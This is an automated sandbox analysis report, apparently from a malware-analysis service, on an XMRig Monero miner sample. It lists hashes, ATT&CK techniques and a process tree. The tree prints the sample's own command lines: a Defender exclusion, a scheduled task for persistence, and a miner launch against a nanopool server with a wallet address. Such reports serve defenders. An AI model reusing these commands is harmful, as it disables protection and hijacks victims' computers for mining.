xmrig | bf90c1ac3aeec2425d48dd23ead4d7ed927123dfc2e41e2322d0b91d589a50ab

Analysis

max time kernel
147s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
22/11/2022, 10:34

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General

Target
file.exe
Size 1.4MB
Sample221122-ml4dqaac38
SHA256 bf90c1ac3aeec2425d48dd23ead4d7ed927123dfc2e41e2322d0b91d589a50ab
MD5 5e7ce8bb80b65b072eff9ae99cfc7500
SHA1 8c1266469bb2ff7a69f087b45cebac6c4ccfb664
SHA512 4154821b234a73d947214d6210955990308c9e53442b6d087ed3f3957d5b949737a19d86f67b9f05f8c6952ec69795d08ae5e7a81c1e31ce2c1ce76c75c25df5
SSDEEP 24576:+nwX3wpejXPWO8ls5a/qFzDUAhlOI4kxd96Ikg4B5B:+wwpeLX8lh/qFEaOVqEIYz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/4864-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4864-188-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/4864-189-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4864-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4864-192-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4864-196-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
452	OWT.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4060001867-1434967833-2212371794-1000\Control Panel\International\Geo\Nation	OWT.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 452 set thread context of 4864	452	OWT.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4164	452	WerFault.exe	88

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3492	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1964	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
3520	powershell.exe
3520	powershell.exe
452	OWT.exe
452	OWT.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	file.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	452	OWT.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeLockMemoryPrivilege	4864	vbc.exe
Token: SeLockMemoryPrivilege	4864	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4864	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 4924	2360	file.exe	83
PID 2360 wrote to memory of 4924	2360	file.exe	83
PID 2360 wrote to memory of 1304	2360	file.exe	85
PID 2360 wrote to memory of 1304	2360	file.exe	85
PID 1304 wrote to memory of 1964	1304	cmd.exe	87
PID 1304 wrote to memory of 1964	1304	cmd.exe	87
PID 1304 wrote to memory of 452	1304	cmd.exe	88
PID 1304 wrote to memory of 452	1304	cmd.exe	88
PID 452 wrote to memory of 3520	452	OWT.exe	89
PID 452 wrote to memory of 3520	452	OWT.exe	89
PID 452 wrote to memory of 980	452	OWT.exe	91
PID 452 wrote to memory of 980	452	OWT.exe	91
PID 980 wrote to memory of 3492	980	cmd.exe	93
PID 980 wrote to memory of 3492	980	cmd.exe	93
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95
PID 452 wrote to memory of 4864	452	OWT.exe	95

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8F93.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1964
- - C:\ProgramData\winrar\OWT.exe
    "C:\ProgramData\winrar\OWT.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3520
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:980
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3492
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4864
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 452 -s 3908
      4⤵
      Program crash
      PID:4164

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 452 -ip 452
1⤵
PID:1660

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

OWT.exe

Path C:\ProgramData\winrar\OWT.exe
Size 1.4MB
SHA256 bf90c1ac3aeec2425d48dd23ead4d7ed927123dfc2e41e2322d0b91d589a50ab
MD5 5e7ce8bb80b65b072eff9ae99cfc7500
SHA1 8c1266469bb2ff7a69f087b45cebac6c4ccfb664
SHA512 4154821b234a73d947214d6210955990308c9e53442b6d087ed3f3957d5b949737a19d86f67b9f05f8c6952ec69795d08ae5e7a81c1e31ce2c1ce76c75c25df5
SSDEEP 24576:+nwX3wpejXPWO8ls5a/qFzDUAhlOI4kxd96Ikg4B5B:+wwpeLX8lh/qFEaOVqEIYz
MD5 SHA1 SHA512 SSDEEP

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OWT.exe

Path C:\ProgramData\winrar\OWT.exe
Size 1.4MB
SHA256 bf90c1ac3aeec2425d48dd23ead4d7ed927123dfc2e41e2322d0b91d589a50ab
MD5 5e7ce8bb80b65b072eff9ae99cfc7500
SHA1 8c1266469bb2ff7a69f087b45cebac6c4ccfb664
SHA512 4154821b234a73d947214d6210955990308c9e53442b6d087ed3f3957d5b949737a19d86f67b9f05f8c6952ec69795d08ae5e7a81c1e31ce2c1ce76c75c25df5
SSDEEP 24576:+nwX3wpejXPWO8ls5a/qFzDUAhlOI4kxd96Ikg4B5B:+wwpeLX8lh/qFEaOVqEIYz
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

Submit Download

tmp8F93.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp8F93.tmp.bat
Size 138B
SHA256 ad22169e1fa1bf69df49d4877b85a62e8bfbc890f412210cd81290dd9eb21f6f
MD5 d557abe467315de1bb01e6c3a9ff4322
SHA1 f2fbac1d126d6f48e888161095b086c62c542dc4
SHA512 1215c823fe3376860f2bf0d70ceb1e06c3907617b9ccf1614ecbbef0921a44fcc8958da574c1aa49d035816f4972007cc4b0fe7126390d8ea1a30eb063457e43
MD5 SHA1 SHA512

Submit Download

memory/452-182-0x00007FFE60A90000-0x00007FFE60AFB000-memory.dmp

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memory/452-170-0x00007FFE41040000-0x00007FFE4118E000-memory.dmp

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memory/452-195-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/452-194-0x00000000008A0000-0x0000000000A8C000-memory.dmp

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memory/452-171-0x0000000000B70000-0x0000000000BB3000-memory.dmp

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memory/452-186-0x00007FFE43BE0000-0x00007FFE43D4A000-memory.dmp

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memory/452-185-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/452-184-0x00000000008A0000-0x0000000000A8C000-memory.dmp

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memory/452-183-0x00007FFE5DC00000-0x00007FFE5DC3B000-memory.dmp

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memory/452-165-0x00007FFE608E0000-0x00007FFE60A81000-memory.dmp

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memory/452-181-0x00007FFE3EAC0000-0x00007FFE3EBC2000-memory.dmp

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memory/452-180-0x00007FFE41000000-0x00007FFE41035000-memory.dmp

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memory/452-179-0x00007FFE5EAA0000-0x00007FFE5EAC7000-memory.dmp

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memory/452-166-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/452-172-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/452-164-0x00007FFE44150000-0x00007FFE4420D000-memory.dmp

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memory/452-163-0x00007FFE5C750000-0x00007FFE5C762000-memory.dmp

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memory/452-169-0x00000000008A0000-0x0000000000A8C000-memory.dmp

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memory/452-168-0x00000000008A0000-0x0000000000A8C000-memory.dmp

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memory/452-167-0x00007FFE5F310000-0x00007FFE5F33B000-memory.dmp

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memory/452-159-0x00000000008A0000-0x0000000000A8C000-memory.dmp

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memory/452-161-0x00007FFE44210000-0x00007FFE442BA000-memory.dmp

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memory/452-162-0x00007FFE5FC30000-0x00007FFE5FCCE000-memory.dmp

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memory/2360-139-0x00007FFE608E0000-0x00007FFE60A81000-memory.dmp

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memory/2360-137-0x0000000000FD0000-0x00000000011BC000-memory.dmp

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memory/2360-136-0x00007FFE44200000-0x00007FFE442BD000-memory.dmp

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memory/2360-140-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/2360-141-0x00007FFE5F310000-0x00007FFE5F33B000-memory.dmp

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memory/2360-142-0x0000000000FD0000-0x00000000011BC000-memory.dmp

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memory/2360-138-0x0000000000800000-0x0000000000843000-memory.dmp

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memory/2360-145-0x000000001D7A0000-0x000000001DCC8000-memory.dmp

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memory/2360-135-0x00007FFE5C750000-0x00007FFE5C762000-memory.dmp

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memory/2360-144-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/2360-134-0x00007FFE5FC30000-0x00007FFE5FCCE000-memory.dmp

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memory/2360-143-0x00007FFE41040000-0x00007FFE4118E000-memory.dmp

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memory/2360-133-0x00007FFE44150000-0x00007FFE441FA000-memory.dmp

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memory/2360-150-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/2360-149-0x0000000000800000-0x0000000000843000-memory.dmp

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memory/2360-148-0x0000000000FD0000-0x00000000011BC000-memory.dmp

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memory/3520-178-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/4864-191-0x00000253D7890000-0x00000253D78B0000-memory.dmp

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memory/4864-192-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4864-200-0x000002546B950000-0x000002546B970000-memory.dmp

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memory/4864-189-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4864-190-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4864-199-0x000002546B720000-0x000002546B740000-memory.dmp

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memory/4864-187-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4864-193-0x000002546B2C0000-0x000002546B300000-memory.dmp

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memory/4864-198-0x000002546B950000-0x000002546B970000-memory.dmp

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memory/4864-197-0x000002546B720000-0x000002546B740000-memory.dmp

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memory/4864-196-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4924-155-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/4924-154-0x00007FFE42790000-0x00007FFE43251000-memory.dmp

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memory/4924-151-0x0000028125750000-0x0000028125772000-memory.dmp

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